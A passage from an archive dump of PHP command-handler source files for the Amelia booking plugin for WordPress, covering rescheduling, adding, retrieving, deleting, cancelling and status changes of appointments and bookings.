ContainerException */ public function handle(UpdateAppointmentTimeCommand $command) { $this->checkMandatoryFields($command); $result = new CommandResult(); /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var AppointmentRepository $appointmentRepo */ $appointmentRepo = $this->container->get('domain.booking.appointment.repository'); /** @var AppointmentApplicationService $appointmentAS */ $appointmentAS = $this->container->get('application.booking.appointment.service'); /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); /** @var BookingApplicationService $bookingAS */ $bookingAS = $this->container->get('application.booking.booking.service'); /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get(Entities::APPOINTMENT); /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getPage() === 'cabinet' ? $command->getToken() : null, $command->getCabinetType() ); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData([ 'reauthorize' => true ]); return $result; } if ($userAS->isCustomer($user) && !$settingsDS->getSetting('roles', 'allowCustomerReschedule')) { throw new AccessDeniedException('You are not allowed to update appointment'); } /** @var Appointment $appointment */ $appointment = $appointmentRepo->getById((int)$command->getArg('id')); $initialBookingStart = $appointment->getBookingStart()->getValue(); $initialBookingEnd = $appointment->getBookingEnd()->getValue(); /** @var Service $service */ $service = $bookableAS->getAppointmentService( $appointment->getServiceId()->getValue(), $appointment->getProviderId()->getValue() ); /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { if ($userAS->isAmeliaUser($user) && $userAS->isCustomer($user) && $bookingAS->isBookingApprovedOrPending($booking->getStatus()->getValue()) && ($service->getMinCapacity()->getValue() !== 1 || $service->getMaxCapacity()->getValue() !== 1) && ($user->getId() && $booking->getCustomerId()->getValue() !== $user->getId()->getValue()) ) { throw new AccessDeniedException('You are not allowed to update appointment'); } } $minimumRescheduleTimeInSeconds = $settingsDS ->getEntitySettings($service->getSettings()) ->getGeneralSettings() ->getMinimumTimeRequirementPriorToRescheduling(); try { $reservationService->inspectMinimumCancellationTime( $appointment->getBookingStart()->getValue(), $minimumRescheduleTimeInSeconds ); } catch (BookingCancellationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('You are not allowed to update booking'); $result->setData([ 'rescheduleBookingUnavailable' => true ]); return $result; } $bookingStart = $command->getField('bookingStart'); $bookingStartInUtc = DateTimeService::getCustomDateTimeObject( $bookingStart )->setTimezone(new \DateTimeZone('UTC'))->format('Y-m-d H:i'); // Convert UTC slot to slot in TimeZone based on Settings if ($command->getField('utcOffset') !== null && $settingsDS->getSetting('general', 'showClientTimeZone')) { $bookingStart = DateTimeService::getCustomDateTimeFromUtc( $bookingStart ); } $appointment->setBookingStart( new DateTimeValue( DateTimeService::getCustomDateTimeObject( $bookingStart ) ) ); $appointment->setBookingEnd( new DateTimeValue( DateTimeService::getCustomDateTimeObject($bookingStart) ->modify('+' . $appointmentAS->getAppointmentLengthTime($appointment, $service) . ' second') ) ); if (!$appointmentAS->canBeBooked($appointment, $userAS->isCustomer($user))) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['time_slot_unavailable']); $result->setData([ 'timeSlotUnavailable' => true ]); return $result; } $appointmentRepo->update((int)$command->getArg('id'), $appointment); foreach ($appointment->getBookings()->getItems() as $booking) { $paymentAS->updateBookingPaymentDate($booking, $bookingStartInUtc); } $appointment->setRescheduled(new BooleanValueObject(true)); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated appointment time'); $result->setData([ Entities::APPOINTMENT => $appointment->toArray(), 'initialAppointmentDateTime' => [ 'bookingStart' => $initialBookingStart->format('Y-m-d H:i:s'), 'bookingEnd' => $initialBookingEnd->format('Y-m-d H:i:s'), ], ]); return $result; } } Commands/Booking/Appointment/GetIcsCommandHandler.php 0000666 00000003465 15165412624 0016701 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Booking\IcsApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; use UnexpectedValueException; /** * Class GetIcsCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class GetIcsCommandHandler extends CommandHandler { /** * @param GetIcsCommand $command * * @return CommandResult * @throws UnexpectedValueException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws ContainerException * @throws QueryExecutionException */ public function handle(GetIcsCommand $command) { $result = new CommandResult(); /** @var IcsApplicationService $icsService */ $icsService = $this->container->get('application.ics.service'); $result->setAttachment(true); if (!$command->getField('params')['token']) { $result->setResult(CommandResult::RESULT_ERROR); return $result; } $result->setFile( $icsService->getIcsData( $command->getField('params')['type'], $command->getArg('id'), !empty($command->getField('params')['recurring']) ? $command->getField('params')['recurring'] : [], false, $command->getField('params')['token'] )['translated'][0] ); return $result; } } Commands/Booking/Appointment/SuccessfulBookingCommandHandler.php 0000666 00000005164 15165412624 0021151 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use Slim\Exception\ContainerValueNotFoundException; use Exception; /** * Class SuccessfulBookingCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class SuccessfulBookingCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'appointmentStatusChanged', ]; /** * @param SuccessfulBookingCommand $command * * @return CommandResult * @throws InvalidArgumentException * @throws ContainerValueNotFoundException * @throws Exception */ public function handle(SuccessfulBookingCommand $command) { $this->checkMandatoryFields($command); $type = $command->getField('type') ?: Entities::APPOINTMENT; /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get($type); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); $paymentId = $command->getField('paymentId'); if ($paymentId) { /** @var Payment $payment */ $payment = $paymentRepository->getById($paymentId); if ($payment && $payment->getActionsCompleted() && $payment->getActionsCompleted()->getValue()) { $result = new CommandResult(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully get booking'); $result->setDataInResponse(false); return $result; } } return $reservationService->getSuccessBookingResponse( (int)$command->getArg('id'), $command->getField('type') ?: Entities::APPOINTMENT, !empty($command->getFields()['recurring']) ? $command->getFields()['recurring'] : [], $command->getFields()['appointmentStatusChanged'], $command->getField('packageId'), $command->getField('customer'), $command->getField('paymentId'), $command->getField('packageCustomerId') ); } } Commands/Booking/Appointment/UpdateAppointmentTimeCommand.php 0000666 00000000447 15165412624 0020502 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateAppointmentTimeCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class UpdateAppointmentTimeCommand extends Command { } Commands/Booking/Appointment/AddAppointmentCommandHandler.php 0000666 00000020134 15165412624 0020422 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\PositiveDuration; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\WP\Translations\FrontendStrings; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class AddAppointmentCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class AddAppointmentCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'bookings', 'bookingStart', 'notifyParticipants', 'serviceId', 'providerId' ]; /** * @param AddAppointmentCommand $command * * @return CommandResult * @throws NotFoundException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException * @throws Exception */ public function handle(AddAppointmentCommand $command) { $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var AppointmentRepository $appointmentRepo */ $appointmentRepo = $this->container->get('domain.booking.appointment.repository'); /** @var AppointmentApplicationService $appointmentAS */ $appointmentAS = $this->container->get('application.booking.appointment.service'); /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getPage() === 'cabinet' ? $command->getToken() : null, $command->getCabinetType() ); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } if ($userAS->isCustomer($user)) { throw new AccessDeniedException('You are not allowed to update appointment'); } if ($userAS->isProvider($user) && !$settingsDS->getSetting('roles', 'allowWriteAppointments')) { throw new AccessDeniedException('You are not allowed to add an appointment'); } $appointmentData = $command->getFields(); $paymentData = array_merge($command->getField('payment'), ['isBackendBooking' => true]); /** @var Service $service */ $service = $bookableAS->getAppointmentService($appointmentData['serviceId'], $appointmentData['providerId']); $maxDuration = 0; foreach ($appointmentData['bookings'] as $booking) { if ($booking['duration'] > $maxDuration && ($booking['status'] === BookingStatus::APPROVED || BookingStatus::PENDING)) { $maxDuration = $booking['duration']; } } if ($maxDuration) { $service->setDuration(new PositiveDuration($maxDuration)); } $appointmentAS->convertTime($appointmentData); /** @var Appointment $appointment */ $appointment = $appointmentAS->build($appointmentData, $service); /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { if (!$appointmentAS->processPackageAppointmentBooking( $booking, new Collection(), $appointment->getServiceId()->getValue(), $paymentData )) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['package_booking_unavailable']); $result->setData( [ 'packageBookingUnavailable' => true ] ); return $result; } } $appointmentRepo->beginTransaction(); /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { $booking->setChangedStatus(new BooleanValueObject(true)); } if (!$appointmentAS->canBeBooked($appointment, false)) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['package_booking_unavailable']); $result->setData( [ 'timeSlotUnavailable' => true ] ); return $result; } $appointmentAS->add($appointment, $service, $paymentData, true); $recurringAppointments = []; foreach ($command->getField('recurring') as $recurringData) { $recurringAppointmentData = array_merge( $appointmentData, [ 'bookingStart' => $recurringData['bookingStart'], 'locationId' => $recurringData['locationId'], 'parentId' => $appointment->getId()->getValue() ] ); $appointmentAS->convertTime($recurringAppointmentData); /** @var Appointment $recurringAppointment */ $recurringAppointment = $appointmentAS->build($recurringAppointmentData, $service); /** @var CustomerBooking $booking */ foreach ($recurringAppointment->getBookings()->getItems() as $booking) { $booking->setChangedStatus(new BooleanValueObject(true)); } if (!$appointmentAS->canBeBooked($recurringAppointment, false)) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['time_slot_unavailable']); $result->setData( [ 'timeSlotUnavailable' => true ] ); return $result; } $appointmentAS->add($recurringAppointment, $service, $paymentData, true); $recurringAppointments[] = [ Entities::APPOINTMENT => $recurringAppointment->toArray() ]; } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully added new appointment'); $result->setData( [ Entities::APPOINTMENT => $appointment->toArray(), 'recurring' => $recurringAppointments ] ); $appointmentRepo->commit(); return $result; } } Commands/Booking/Appointment/DeleteBookingCommandHandler.php 0000666 00000007413 15165412624 0020233 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Booking\BookingApplicationService; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use Slim\Exception\ContainerValueNotFoundException; use Interop\Container\Exception\ContainerException; /** * Class DeleteBookingCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class DeleteBookingCommandHandler extends CommandHandler { /** * @param DeleteBookingCommand $command * * @return CommandResult * @throws InvalidArgumentException * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws QueryExecutionException * @throws ContainerException * @throws NotFoundException */ public function handle(DeleteBookingCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanDelete(Entities::APPOINTMENTS)) { throw new AccessDeniedException('You are not allowed to delete appointment'); } $result = new CommandResult(); /** @var BookingApplicationService $bookingApplicationService */ $bookingApplicationService = $this->container->get('application.booking.booking.service'); /** @var AppointmentApplicationService $appointmentApplicationService */ $appointmentApplicationService = $this->container->get('application.booking.appointment.service'); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var Appointment $appointment */ $appointment = $appointmentRepository->getByBookingId($command->getArg('id')); /** @var CustomerBooking $removedBooking */ $removedBooking = $appointment->getBookings()->getItem($command->getArg('id')); $appointmentRepository->beginTransaction(); if ($appointment->getBookings()->length() === 1) { $resultData = $appointmentApplicationService->removeBookingFromNonGroupAppointment( $appointment, $removedBooking ); } else { $resultData = $appointmentApplicationService->removeBookingFromGroupAppointment( $appointment, $removedBooking ); } $isSuccess = true; if ($appointment->getBookings()->length() > 1 && !$bookingApplicationService->delete($removedBooking)) { $isSuccess = false; } else if (!$appointmentApplicationService->delete($appointment)) { $isSuccess = false; } if (!$isSuccess) { $appointmentRepository->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not delete booking'); return $result; } $appointmentRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully deleted booking'); $result->setData($resultData); return $result; } } Commands/Booking/Appointment/GetAppointmentCommandHandler.php 0000666 00000013674 15165412624 0020464 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\CustomerApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\Json; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Services\LessonSpace\LessonSpaceService; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetAppointmentCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class GetAppointmentCommandHandler extends CommandHandler { /** * @param GetAppointmentCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function handle(GetAppointmentCommand $command) { $result = new CommandResult(); /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getPage() === 'cabinet' ? $command->getToken() : null, $command->getCabinetType() ); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } /** @var AppointmentRepository $appointmentRepo */ $appointmentRepo = $this->container->get('domain.booking.appointment.repository'); /** @var CustomerApplicationService $customerAS */ $customerAS = $this->container->get('application.user.customer.service'); /** @var Appointment $appointment */ $appointment = $appointmentRepo->getById((int)$command->getField('id')); if ($userAS->isCustomer($user) && !$customerAS->hasCustomerBooking($appointment->getBookings(), $user)) { throw new AccessDeniedException('You are not allowed to read appointment'); } /** @var Collection $recurringAppointments */ $recurringAppointments = $appointmentRepo->getFiltered( [ 'parentId' => $appointment->getParentId() ? $appointment->getParentId()->getValue() : $appointment->getId()->getValue() ] ); $customerAS->removeBookingsForOtherCustomers($user, new Collection([$appointment])); /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { $customFields = []; if ($booking->getCustomFields() && ($customFields = json_decode($booking->getCustomFields()->getValue(), true)) === null ) { $booking->setCustomFields(null); } if ($customFields) { $parsedCustomFields = []; foreach ((array)$customFields as $key => $customField) { if ($customField) { $parsedCustomFields[$key] = $customField; } } $booking->setCustomFields(new Json(json_encode($parsedCustomFields))); } } if (!empty($command->getField('params')['timeZone'])) { $appointment->getBookingStart()->getValue()->setTimezone( new \DateTimeZone($command->getField('params')['timeZone']) ); $appointment->getBookingEnd()->getValue()->setTimezone( new \DateTimeZone($command->getField('params')['timeZone']) ); } $appointmentArray = $appointment->toArray(); if (!empty($appointmentArray['lessonSpace'])) { /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $lessonSpaceApiKey = $settingsDS->getSetting('lessonSpace', 'apiKey'); $lessonSpaceEnabled = $settingsDS->getSetting('lessonSpace', 'enabled'); $lessonSpaceCompanyId = $settingsDS->getSetting('lessonSpace', 'companyId'); if ($lessonSpaceEnabled && $lessonSpaceApiKey && $lessonSpaceCompanyId) { /** @var LessonSpaceService $lessonSpaceService */ $lessonSpaceService = $this->container->get('infrastructure.lesson.space.service'); $spaceId = explode("https://www.thelessonspace.com/space/", $appointmentArray['lessonSpace']); if ($spaceId && count($spaceId) > 1) { $appointmentArray['lessonSpaceDetails'] = $lessonSpaceService->getSpace($lessonSpaceApiKey, $lessonSpaceCompanyId, $spaceId[1]); } } } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved appointment'); $result->setData( [ Entities::APPOINTMENT => $appointmentArray, 'recurring' => $recurringAppointments->toArray() ] ); return $result; } } Commands/Booking/Appointment/UpdateAppointmentStatusCommandHandler.php 0000666 00000021431 15165412624 0022361 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Application\Services\Booking\BookingApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\WP\Translations\BackendStrings; use AmeliaBooking\Infrastructure\WP\Translations\FrontendStrings; use Interop\Container\Exception\ContainerException; /** * Class UpdateAppointmentStatusCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class UpdateAppointmentStatusCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'status' ]; /** * @param UpdateAppointmentStatusCommand $command * * @return CommandResult * * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException * @throws NotFoundException */ public function handle(UpdateAppointmentStatusCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWriteStatus(Entities::APPOINTMENTS)) { throw new AccessDeniedException('You are not allowed to update appointment status'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var AppointmentRepository $appointmentRepo */ $appointmentRepo = $this->container->get('domain.booking.appointment.repository'); /** @var BookingApplicationService $bookingAS */ $bookingAS = $this->container->get('application.booking.booking.service'); /** @var UserApplicationService $userAS */ $userAS = $this->getContainer()->get('application.user.service'); /** @var AppointmentApplicationService $appointmentAS */ $appointmentAS = $this->container->get('application.booking.appointment.service'); /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); $appointmentId = (int)$command->getArg('id'); $requestedStatus = $command->getField('status'); /** @var Appointment $appointment */ $appointment = $appointmentRepo->getById($appointmentId); $packageCustomerId = $command->getField('packageCustomerId'); if ($packageCustomerId) { $appArray = array_filter( $appointment->getBookings()->getItems(), function ($booking) use ($packageCustomerId) { /** @var Id $pcId */ $pcId = $booking->getPackageCustomerService() ? $booking->getPackageCustomerService()->getPackageCustomer()->getId() : null; return isset($pcId) && $pcId->getValue() === $packageCustomerId; } ); $appointment->setBookings(new Collection($appArray)); } $oldStatus = $appointment->getStatus()->getValue(); if ($bookingAS->isBookingApprovedOrPending($requestedStatus) && $bookingAS->isBookingCanceledOrRejectedOrNoShow($appointment->getStatus()->getValue()) ) { /** @var AbstractUser $user */ $user = $this->container->get('logged.in.user'); if (!$appointmentAS->canBeBooked($appointment, $userAS->isCustomer($user))) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage(FrontendStrings::getCommonStrings()['time_slot_unavailable']); $result->setData( [ 'timeSlotUnavailable' => true, 'status' => $appointment->getStatus()->getValue() ] ); return $result; } } $oldAppointmentArray = $appointment->toArray(); /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { $booking->setStatus(new BookingStatus($requestedStatus)); } /** @var Service $service */ $service = $bookableAS->getAppointmentService( $appointment->getServiceId()->getValue(), $appointment->getProviderId()->getValue() ); if ($requestedStatus === BookingStatus::APPROVED && ( ( $service->getMaxCapacity()->getValue() === 1 && $appointment->getBookings()->length() > 1 ) || ( $service->getMaxCapacity()->getValue() > 1 && $appointment->getBookings()->length() > $service->getMaxCapacity()->getValue() ) ) ) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Appointment status not updated'); $result->setData( [ Entities::APPOINTMENT => $appointment->toArray(), 'bookingsWithChangedStatus' => [], 'status' => $appointment->getStatus()->getValue(), 'oldStatus' => $appointment->getStatus()->getValue(), 'message' => BackendStrings::getEventStrings()['maximum_capacity_reached'], ] ); return $result; } $appointment->setStatus(new BookingStatus($requestedStatus)); $appointmentRepo->beginTransaction(); if ($packageCustomerId) { /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { $bookingRepository->updateStatusById($booking->getId()->getValue(), $requestedStatus); } if ($appointment->getBookings()->length() === 1) { $appointmentRepo->updateStatusById($appointmentId, $requestedStatus); } } else { $bookingRepository->updateStatusByAppointmentId($appointmentId, $requestedStatus); $appointmentRepo->updateStatusById($appointmentId, $requestedStatus); } $appointmentRepo->commit(); /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { if ($booking->getStatus()->getValue() === BookingStatus::APPROVED && ($appointment->getStatus()->getValue() === BookingStatus::PENDING || $appointment->getStatus()->getValue() === BookingStatus::APPROVED) ) { $booking->setChangedStatus(new BooleanValueObject(true)); } } $appointmentArray = $appointment->toArray(); $bookingsWithChangedStatus = $bookingAS->getBookingsWithChangedStatus($appointmentArray, $oldAppointmentArray); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated appointment status'); $result->setData( [ Entities::APPOINTMENT => $appointmentArray, 'bookingsWithChangedStatus' => $bookingsWithChangedStatus, 'status' => $requestedStatus, 'oldStatus' => $oldStatus, 'message' => BackendStrings::getAppointmentStrings()['appointment_status_changed'] . strtolower(BackendStrings::getCommonStrings()[$requestedStatus]) ] ); return $result; } } Commands/Booking/Appointment/CancelBookingCommandHandler.php 0000666 00000010751 15165412624 0020215 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\User\CustomerApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\BookingCancellationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Domain\ValueObjects\String\Token; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\WP\Translations\BackendStrings; use Interop\Container\Exception\ContainerException; /** * Class CancelBookingCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class CancelBookingCommandHandler extends CommandHandler { /** * @param CancelBookingCommand $command * * @return CommandResult * * @throws AccessDeniedException * @throws InvalidArgumentException * @throws NotFoundException * @throws QueryExecutionException * @throws ContainerException */ public function handle(CancelBookingCommand $command) { $result = new CommandResult(); $type = $command->getField('type') ?: Entities::APPOINTMENT; /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get($type); /** @var CustomerApplicationService $customerAS */ $customerAS = $this->container->get('application.user.customer.service'); /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); try { /** @var AbstractUser $user */ $user = $userAS->authorization( $command->getPage() === 'cabinet' ? $command->getToken() : null, $command->getCabinetType() ); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } /** @var CustomerBooking $booking */ $booking = $bookingRepository->getById((int)$command->getArg('id')); $token = $bookingRepository->getToken((int)$command->getArg('id')); if (!empty($token['token'])) { $booking->setToken(new Token($token['token'])); } if (!$customerAS->isCustomerBooking($booking, $user, null)) { throw new AccessDeniedException('You are not allowed to update booking status'); } try { $bookingData = $reservationService->updateStatus($booking, BookingStatus::CANCELED); } catch (BookingCancellationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('You are not allowed to update booking status'); $result->setData( [ 'cancelBookingUnavailable' => true ] ); return $result; } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully updated booking status'); $result->setData( array_merge( $bookingData, [ 'type' => $type, 'status' => BookingStatus::CANCELED, 'message' => BackendStrings::getAppointmentStrings()['appointment_status_changed'] . strtolower(BackendStrings::getCommonStrings()[BookingStatus::CANCELED]) ] ) ); return $result; } } Commands/Booking/Appointment/CancelBookingRemotelyCommandHandler.php 0000666 00000011534 15165412624 0021736 0 ustar 00 <?php namespace 